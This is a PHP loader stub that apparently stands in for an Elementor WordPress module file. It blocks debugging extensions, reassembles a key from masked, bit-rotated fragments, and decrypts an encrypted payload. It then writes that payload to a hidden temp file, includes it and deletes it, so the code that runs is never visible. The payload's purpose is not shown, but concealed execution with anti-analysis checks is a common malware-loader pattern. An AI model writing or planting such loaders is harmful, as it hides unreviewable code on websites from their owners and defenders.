<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["2yxqeVVlinA=","\/Svt7g7N1dU=","1gubA6VZd2g=","t0z1N4GSUJk="]', true);
$__MASKS = json_decode('["3aCVdbtVGhg=","awn8VJocOgI=","w5VMVY9z\/cE=","8U9Z99O03O4="]', true);
$__ROT   = json_decode('[4,1,2,4]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('uKhCguUx80ToEVBLW0OO4cWZ+VSLap2j');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9tb2R1bGVzL2F0b21pYy13aWRnZXRzL2Jhc2UvYXRvbWljLXdpZGdldC1iYXNlLnBocCIsInRzIjoxNzU2NjkzNzE0LCJleHBpcmVzIjowLCJkb21haW5zIjpbIml0c2hvbWFyLmlyIl0sIm9ubGluZSI6MCwid3AiOjEsImFsZ28iOiJ4Y2hhY2hhMjBwb2x5MTMwNV9pZXRmIn0=');
$__CT    = base64_decode('uKO6D6jY/EVGvw8ASOp1+1Oiv2IATPLFuSBr86nkcht72vONsgscaT6G5VGwRDZwb1XtNu9KZqSPaiScKgjAn66ihnWihfGt8ejKV1mUcPr/Vqmemd3GCKffJMJeHSPuDaIrtiSTpu+RaNzKr1Y9pnvSHeLFbR7cQutQOeEDzT6VIz4igYO+KczGFLnXCuzImwZORv3aD6kaAicvBc00RjIBsjV4gO6yI26DG94jYtVVWAeQ28e6f0vcU1gYX2prrYrhDUdsnPPErnE9tPOKxworjk4Sh6lxY86GqsS+uD+W+on9GviwE2Mom0DttbWuRgdHz2OAARqYc3jZwDfqNsDKCkam8jSkIQRifU2MSVNwBLVaHFRx7wkm90zFACjjO1uPiIdWdhzbvHO6E7GUpWTkPkiqvoaQB7aS2cRar1jJb1mbDNqxIaC71YU2oX5c/TqHgaX2uhVCl/YQFoCfrlRSEnSd2he6ZJjjQwhKG95SBmn9/54Hh9sXSvjeGDGiTbK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3C/aqzXC20JEn+eLz6TT72Fmr6vjmM4QcRWgzDsxHQVEFcnvKEI=');

// Signature verification
$__PK  = base64_decode('jCf95U3iAWHQJFyijGpEXeOeXB34uCBDRBbQnFVgL8k=');
$__SIG = base64_decode('n/AESodIhHtl0mIpyN0PcF4jJuAmKAifjuXPTKxUBWo8rfjHnofDkE2ATwPXd6PdxVpWH/zYz6MDg/SKHhXsBw==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
